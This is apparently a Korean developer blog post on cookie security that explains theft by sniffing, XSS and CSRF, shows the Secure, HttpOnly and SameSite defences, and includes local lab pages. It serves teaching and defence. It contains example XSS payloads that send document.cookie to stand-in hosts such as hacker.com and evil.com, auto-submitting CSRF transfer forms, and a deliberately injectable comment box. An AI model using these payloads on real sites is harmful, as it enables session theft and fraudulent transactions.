[FRONT]
- [FRONT] 프론트엔드 쿠키 이슈 해결하기
- [FRONT] Nuxt Proxy 설정과 활용
- [FRONT] 웹 캐시 전략과 구현
- [FRONT] Next.js와 Nuxt.js 비교 분석
- [FRONT] Monorepo vs Multi-repo vs Monolith 아키텍처
- [FRONT] mitmproxy를 활용한 디버깅
- [FRONT] Storybook 활용 가이드
- [FRONT] Vercel Turbopack 소개
- [FRONT] 캐시와 캐싱 전략
- [FRONT] SWC 컴파일러 이해하기
- [FRONT] 인터섹션 옵저버로 인터섹션 여부 감지하기
- [FRONT] BroadcastChannel 사용해서 같은 도메인 브라우저 간 통신하기
- [FRONT] DOM이벤트 버블링(Bubbling)과 캡처링(Capturing)
- [FRONT] XSS와 CSRF
- [FRONT] 웹 성능 최적화
- [FRONT] 브라우저 렌더링 과정
- [FRONT] 웹 접근성
- [FRONT] URL과 Domain 정확히 이해하자 (url구조)
- [FRONT] HTTP 헤더 이해하기
- [FRONT] 🍪 Cookie 보안의 모든 것: 탈취부터 방어까지
🚨 쿠키 탈취, 생각보다 쉽다!
개발하다가 발견한 충격적인 사실! 🤯 우리가 평소에 사용하는 쿠키들, 보안 설정 없이는 정말 쉽게 탈취당할 수 있어요. 실제로 어떻게 공격당하고, 어떻게 방어할 수 있는지 자세히 알아보겠습니다.
💀 쿠키 탈취의 현실
취약한 쿠키 설정
1
2
| // ❌ 위험한 쿠키 설정
document.cookie = `token=${userToken}; path=/; expires=${expireDate}`;
|
이런 쿠키는 다음과 같은 방법으로 탈취당할 수 있어요:
1. 네트워크 스니핑 (Network Sniffing)
1
2
| HTTP 통신에서 쿠키가 평문으로 전송됨
→ 공용 와이파이에서 패킷 캡처로 쉽게 탈취 가능
|
2. XSS (Cross-Site Scripting) 공격
1
2
3
4
5
6
7
8
| // 악성 스크립트가 삽입되면
<script>
// 모든 쿠키를 해커 서버로 전송
fetch('https://hacker.com/steal', {
method: 'POST',
body: document.cookie
});
</script>
|
3. CSRF (Cross-Site Request Forgery) 공격
1
2
3
| <!-- 악성 사이트에서 -->
<img src="https://victim.com/transfer?amount=1000&to=hacker" />
<!-- 쿠키가 자동으로 함께 전송되어 요청이 성공 -->
|
🛡️ 쿠키 보안 속성 완벽 가이드
1. Secure 속성
1
2
| // ✅ HTTPS에서만 전송
document.cookie = "token=abc123; Secure";
|
효과:
- HTTP 연결에서는 쿠키 전송 차단
- 네트워크 스니핑 공격 방지
- 중간자 공격(MITM) 차단
2. HttpOnly 속성
1
2
| // ✅ JavaScript로 접근 불가
document.cookie = "token=abc123; HttpOnly";
|
효과:
document.cookie
로 접근 차단
- XSS 공격으로부터 쿠키 보호
- 서버에서만 쿠키 읽기 가능
3. SameSite 속성
SameSite=Strict (가장 엄격)
1
| document.cookie = "token=abc123; SameSite=Strict";
|
- 같은 사이트에서만 쿠키 전송
- CSRF 공격 완전 차단
- 외부 링크 클릭 시에도 쿠키 전송 안됨
SameSite=Lax (적당히 엄격)
1
| document.cookie = "token=abc123; SameSite=Lax";
|
- 일반적인 GET 요청에서는 쿠키 전송
- POST/PUT/DELETE 요청에서는 차단
- 사용성과 보안의 균형
SameSite=None (제한 없음)
1
| document.cookie = "token=abc123; SameSite=None; Secure";
|
- 모든 요청에서 쿠키 전송
- 반드시 Secure 속성과 함께 사용
🎯 실제 공격 시나리오와 방어
시나리오 1: 공용 와이파이에서의 쿠키 탈취
공격:
1
2
3
| 1. 해커가 공용 와이파이 네트워크 모니터링
2. HTTP 사이트 접속 시 쿠키 패킷 캡처
3. 세션 토큰 획득 후 계정 탈취
|
방어:
1
2
| // ✅ Secure 속성으로 HTTPS에서만 전송
document.cookie = "sessionId=xyz789; Secure; path=/";
|
시나리오 2: XSS를 통한 쿠키 탈취
공격:
1
2
3
4
5
| // 게시판에 악성 스크립트 삽입
<script>
const cookies = document.cookie; fetch(`https://evil.com/steal?data=$
{encodeURIComponent(cookies)}`);
</script>
|
방어:
1
2
| // ✅ HttpOnly로 JavaScript 접근 차단
document.cookie = "authToken=abc123; HttpOnly; Secure; path=/";
|
시나리오 3: CSRF 공격
공격:
1
2
3
4
5
6
7
8
| <!-- 악성 이메일이나 사이트에서 -->
<form action="https://bank.com/transfer" method="POST" style="display:none">
<input name="amount" value="1000000" />
<input name="to" value="hacker-account" />
</form>
<script>
document.forms[0].submit();
</script>
|
방어:
1
2
| // ✅ SameSite=Strict로 다른 사이트에서의 요청 차단
document.cookie = "sessionId=xyz789; SameSite=Strict; Secure; HttpOnly";
|
🔧 보안 강화된 쿠키 설정 예시
기본 보안 설정
1
2
3
4
5
6
7
8
9
10
11
| function setSecureCookie(name, value, days = 7) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
document.cookie =
`${name}=${value}; ` +
`expires=${date.toUTCString()}; ` +
`path=/; ` +
`Secure; ` +
`SameSite=Strict`;
}
|
민감한 정보용 최고 보안 설정
1
2
3
4
5
6
7
| function setHighSecurityCookie(name, value, hours = 2) {
const date = new Date();
date.setTime(date.getTime() + hours * 60 * 60 * 1000);
// 서버에서 설정해야 함 (HttpOnly는 클라이언트에서 설정 불가)
// Set-Cookie: name=value; HttpOnly; Secure; SameSite=Strict; Max-Age=7200
}
|
📊 쿠키 보안 속성 비교표
속성 |
목적 |
방어 대상 |
권장도 |
Secure |
HTTPS 전용 |
네트워크 스니핑 |
⭐⭐⭐⭐⭐ |
HttpOnly |
JS 접근 차단 |
XSS 공격 |
⭐⭐⭐⭐⭐ |
SameSite=Strict |
같은 사이트만 |
CSRF 공격 |
⭐⭐⭐⭐⭐ |
SameSite=Lax |
적당한 제한 |
CSRF 공격 |
⭐⭐⭐⭐ |
Path |
경로 제한 |
정보 노출 |
⭐⭐⭐ |
Domain |
도메인 제한 |
서브도메인 공격 |
⭐⭐⭐ |
🛠️ 실무에서의 쿠키 보안 체크리스트
✅ 필수 보안 설정
✅ 추가 보안 조치
🎯 결론: 쿠키 보안은 선택이 아닌 필수!
1
2
3
4
5
6
| // ❌ 절대 이렇게 하지 마세요
document.cookie = "token=secret123";
// ✅ 항상 이렇게 하세요
document.cookie =
"token=secret123; Secure; SameSite=Strict; path=/; expires=...";
|
핵심 포인트:
- 쿠키 탈취는 생각보다 쉽다
- 보안 속성 설정만으로도 대부분의 공격 차단 가능
- HTTPS + Secure + SameSite + HttpOnly = 강력한 방어
- 보안은 개발 초기부터 고려해야 할 필수 사항
보안은 한 번 뚫리면 되돌리기 어려워요. 처음부터 제대로 설정하는 것이 가장 중요합니다! 🔐
🧪 직접 체험해보는 쿠키 탈취 & 방어 실습
⚠️ 주의사항: 아래 예제들은 교육 목적으로만 사용하세요. 실제 서비스에서는 절대 시도하지 마시고, 본인의 로컬 환경에서만 테스트하세요.
🎯 실습 환경 준비
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| <!-- test.html - 취약한 쿠키 테스트 페이지 -->
<!DOCTYPE html>
<html>
<head>
<title>쿠키 보안 테스트</title>
</head>
<body>
<h1>🍪 쿠키 보안 실습</h1>
<!-- 취약한 쿠키 설정 -->
<button onclick="setVulnerableCookie()">❌ 취약한 쿠키 설정</button>
<button onclick="setSecureCookie()">✅ 보안 쿠키 설정</button>
<button onclick="showAllCookies()">🔍 모든 쿠키 보기</button>
<div id="cookieDisplay"></div>
<div id="attackResult"></div>
<script>
// 취약한 쿠키 설정
function setVulnerableCookie() {
document.cookie = "userToken=abc123; path=/";
document.cookie = "sessionId=xyz789; path=/";
alert("취약한 쿠키가 설정되었습니다!");
}
// 보안 쿠키 설정
function setSecureCookie() {
document.cookie = "secureToken=def456; Secure; SameSite=Strict; path=/";
document.cookie =
"secureSession=uvw987; HttpOnly; Secure; SameSite=Strict; path=/";
alert("보안 쿠키가 설정되었습니다!");
}
// 모든 쿠키 표시
function showAllCookies() {
const cookies = document.cookie;
document.getElementById(
"cookieDisplay"
).innerHTML = `<h3>현재 쿠키:</h3><pre>${
cookies || "쿠키가 없습니다."
}</pre>`;
}
</script>
</body>
</html>
|
🕵️ 실습 1: XSS를 통한 쿠키 탈취 시뮬레이션
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
| <!-- xss-demo.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS 쿠키 탈취 데모</title>
</head>
<body>
<h1>🚨 XSS 공격 시뮬레이션</h1>
<!-- 사용자 입력을 받는 댓글 시스템 (취약) -->
<div>
<h3>댓글 작성 (XSS 취약)</h3>
<textarea id="comment" placeholder="댓글을 입력하세요..."></textarea>
<button onclick="addComment()">댓글 추가</button>
</div>
<div id="comments"></div>
<!-- 쿠키 탈취 시뮬레이션 결과 -->
<div
id="stolenCookies"
style="background: #ffe6e6; padding: 10px; margin: 10px 0;"
>
<h3>🔥 탈취된 쿠키 (해커 관점)</h3>
<div id="hackerView"></div>
</div>
<script>
// 먼저 테스트용 쿠키 설정
document.cookie = "userToken=vulnerable123; path=/";
document.cookie = "sessionId=session456; path=/";
function addComment() {
const comment = document.getElementById("comment").value;
const commentsDiv = document.getElementById("comments");
// ❌ 위험: 사용자 입력을 그대로 innerHTML에 삽입
commentsDiv.innerHTML += `<div style="border: 1px solid #ccc; margin: 5px; padding: 5px;">
${comment}
</div>`;
document.getElementById("comment").value = "";
}
// 쿠키 탈취 시뮬레이션 함수 (교육용)
function simulateSteal() {
const cookies = document.cookie;
document.getElementById(
"hackerView"
).innerHTML = `<strong>탈취된 쿠키:</strong> ${cookies}`;
// 실제로는 해커 서버로 전송됨
console.log("🚨 해커 서버로 전송될 데이터:", cookies);
}
// 페이지 로드 시 쿠키 탈취 시뮬레이션
setTimeout(simulateSteal, 1000);
</script>
<div style="background: #e6ffe6; padding: 10px; margin: 10px 0;">
<h3>💡 XSS 공격 테스트해보기</h3>
<p>댓글창에 이런 코드를 입력해보세요:</p>
<code><script>alert('XSS 공격!');</script></code><br />
<code><img src="x" onerror="simulateSteal()"></code>
</div>
</body>
</html>
|
🛡️ 실습 2: 보안 강화된 버전
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| <!-- secure-demo.html -->
<!DOCTYPE html>
<html>
<head>
<title>보안 강화 데모</title>
</head>
<body>
<h1>✅ 보안 강화된 댓글 시스템</h1>
<div>
<h3>댓글 작성 (XSS 방어)</h3>
<textarea
id="secureComment"
placeholder="댓글을 입력하세요..."
></textarea>
<button onclick="addSecureComment()">댓글 추가</button>
</div>
<div id="secureComments"></div>
<script>
// 보안 쿠키 설정 (HttpOnly는 서버에서만 설정 가능)
document.cookie =
"secureToken=protected789; Secure; SameSite=Strict; path=/";
function addSecureComment() {
const comment = document.getElementById("secureComment").value;
const commentsDiv = document.getElementById("secureComments");
// ✅ 안전: HTML 이스케이프 처리
const safeComment = escapeHtml(comment);
const commentDiv = document.createElement("div");
commentDiv.style.cssText =
"border: 1px solid #ccc; margin: 5px; padding: 5px;";
commentDiv.textContent = safeComment; // textContent 사용으로 XSS 방지
commentsDiv.appendChild(commentDiv);
document.getElementById("secureComment").value = "";
}
// HTML 이스케이프 함수
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 쿠키 접근 테스트
function testCookieAccess() {
try {
const cookies = document.cookie;
alert(`접근 가능한 쿠키: ${cookies}`);
} catch (e) {
alert("HttpOnly 쿠키는 JavaScript로 접근할 수 없습니다!");
}
}
</script>
<button onclick="testCookieAccess()">🔍 쿠키 접근 테스트</button>
<div style="background: #e6ffe6; padding: 10px; margin: 10px 0;">
<h3>✅ 보안 확인</h3>
<p>같은 XSS 코드를 입력해도 실행되지 않는 것을 확인할 수 있습니다!</p>
</div>
</body>
</html>
|
🌐 실습 3: CSRF 공격 시뮬레이션
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
| <!-- csrf-demo.html -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF 공격 데모</title>
</head>
<body>
<h1>🎯 CSRF 공격 시뮬레이션</h1>
<!-- 가짜 은행 사이트 -->
<div style="background: #f0f8ff; padding: 15px; margin: 10px 0;">
<h3>🏦 MyBank (victim.com)</h3>
<p>현재 로그인된 사용자: 홍길동</p>
<p>잔액: 1,000,000원</p>
<form id="transferForm" action="/transfer" method="POST">
<label>송금할 계좌: <input type="text" name="account" value="" /></label
><br />
<label>금액: <input type="number" name="amount" value="" /></label
><br />
<button type="submit">송금하기</button>
</form>
</div>
<!-- 악성 사이트 영역 -->
<div style="background: #ffe6e6; padding: 15px; margin: 10px 0;">
<h3>👹 악성 사이트 (evil.com)</h3>
<p>무료 이모티콘 다운로드!</p>
<!-- 숨겨진 CSRF 공격 폼 -->
<iframe src="about:blank" style="display:none;" id="hiddenFrame"></iframe>
<button onclick="downloadEmoticons()">🎁 무료 다운로드</button>
<!-- CSRF 공격 시뮬레이션 -->
<script>
function downloadEmoticons() {
// 사용자가 무료 다운로드 버튼을 클릭할 때
alert("다운로드를 시작합니다...");
// 숨겨진 CSRF 공격 실행
performCSRFAttack();
}
function performCSRFAttack() {
// 은행 사이트로 자동 송금 요청 (CSRF)
const form = document.createElement("form");
form.method = "POST";
form.action = "https://victim-bank.com/transfer";
form.target = "hiddenFrame";
const accountInput = document.createElement("input");
accountInput.type = "hidden";
accountInput.name = "account";
accountInput.value = "hacker-account-123";
const amountInput = document.createElement("input");
amountInput.type = "hidden";
amountInput.name = "amount";
amountInput.value = "500000";
form.appendChild(accountInput);
form.appendChild(amountInput);
document.body.appendChild(form);
// 폼 자동 제출 (사용자 모르게)
form.submit();
// 시뮬레이션 결과 표시
setTimeout(() => {
document.getElementById("csrfResult").innerHTML =
"🚨 CSRF 공격 시뮬레이션 완료! 500,000원이 해커 계좌로 송금되었습니다.";
}, 1000);
}
</script>
<div
id="csrfResult"
style="color: red; font-weight: bold; margin-top: 10px;"
></div>
</div>
<!-- 방어 버전 -->
<div style="background: #e6ffe6; padding: 15px; margin: 10px 0;">
<h3>🛡️ CSRF 방어된 은행 사이트</h3>
<p>SameSite=Strict 쿠키 + CSRF 토큰 적용</p>
<script>
// 보안 쿠키 설정
document.cookie =
"bankSession=secure123; SameSite=Strict; Secure; path=/";
function secureTransfer() {
// CSRF 토큰 검증
const csrfToken = generateCSRFToken();
alert(`CSRF 토큰으로 보호된 송금: ${csrfToken}`);
}
function generateCSRFToken() {
return (
Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15)
);
}
</script>
<button onclick="secureTransfer()">🔒 보안 송금</button>
</div>
</body>
</html>
|
🧪 실습 4: 네트워크 스니핑 시뮬레이션
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // network-sniffing-demo.js
console.log("🕵️ 네트워크 스니핑 시뮬레이션");
// HTTP vs HTTPS 쿠키 전송 시뮬레이션
function simulateNetworkTraffic() {
console.log("\n=== HTTP 통신 (취약) ===");
console.log("GET /login HTTP/1.1");
console.log("Host: example.com");
console.log("Cookie: sessionId=abc123; userToken=xyz789");
console.log("👆 평문으로 전송되어 패킷 캡처로 쉽게 탈취 가능!");
console.log("\n=== HTTPS 통신 (보안) ===");
console.log("암호화된 데이터: 4f8b2c3a9e1d7f6b...");
console.log("👆 암호화되어 있어 내용을 알 수 없음");
}
// 실행
simulateNetworkTraffic();
|
🔍 테스트 방법
- 로컬 서버 실행:
1
2
3
4
5
| # Python으로 간단한 HTTP 서버 실행
python3 -m http.server 8000
# 또는 Node.js
npx http-server
|
-
브라우저에서 테스트:
http://localhost:8000/test.html
(HTTP - 취약)
https://localhost:8000/test.html
(HTTPS - 보안)
-
개발자 도구로 확인:
- Network 탭에서 쿠키 전송 확인
- Application 탭에서 쿠키 속성 확인
- Console에서
document.cookie
실행
📋 실습 체크리스트
이제 직접 해보시면서 쿠키 보안의 중요성을 체감해보세요! 🚀